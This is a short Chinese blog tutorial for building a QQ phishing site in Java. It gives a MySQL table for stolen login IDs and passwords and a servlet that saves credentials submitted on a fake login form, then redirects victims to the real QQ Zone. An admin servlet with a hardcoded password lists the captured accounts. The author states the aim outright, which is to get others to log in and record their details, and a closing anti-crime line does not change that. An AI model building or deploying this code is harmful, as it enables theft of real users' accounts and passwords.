咳咳,做什么标题上有.
1.项目准备
1.1创建web项目
本次项目使用gradle工具进行编译直接在idea内新建gradle项目选择web就可以自动生成.但是生成的项目里没有WEB-INF目录,需要我们自己创建
1.2 MYSQL配置
建库sql
CREATE DATABASE `qq_number` CHARACTER SET 'utf8' COLLATE 'utf8_bin';
建表sql
CREATE TABLE `qq_number`.`Untitled` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`login_id` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
`password` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL,
PRIMARY KEY (`id`, `login_id`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_bin ROW_FORMAT = Dynamic;
2.项目制作
废话不多说直接上代码
AdminServlet.java
package 你的包名.qq_pirate_number.servlet;
@WebServlet(urlPatterns = "/admin", name = "AdminServlet")
public class AdminServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private IUserDAO iUserDAO;
@Override
public void init() {
iUserDAO = new UserDAOImpl();
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if ("admin".equals(req.getParameter("u")) &&
"你的密码".equals(req.getParameter("p"))) {
list(req, resp);
} else {
resp.sendError(403);
}
}
private void list(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
List<User> list = iUserDAO.listAll();
req.setAttribute("userList", list);
req.getRequestDispatcher("/WEB-INF/admin.jsp").forward(req, resp);
}
}
这是一个简单的管理servlet(实际上通过Navicat直接看更方便)
执行完后跳转至一个admin.jsp显示
NumberServlet.java
@WebServlet(urlPatterns = "/number", name = "NumberServlet")
public class NumberServlet extends HttpServlet {
private IUserDAO iUserDAO = new UserDAOImpl();
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
req.setCharacterEncoding("utf-8");
String username = req.getParameter("username");
String password = req.getParameter("password");
if (!StringUtils.isAnyBlank(username, password)) {
User user = new User();
user.setLogin_id(username);
user.setPassword(password);
iUserDAO.save(user);
}
resp.sendRedirect("https://qzone.qq.com/");
}
}
项目的核心执行完后跳转至QQ空间
3.项目总结
这个项目还是蛮简单的3天时间就搞定了
思路就是让别人登陆,然后记录登陆信息罢了
远离违法,从我做起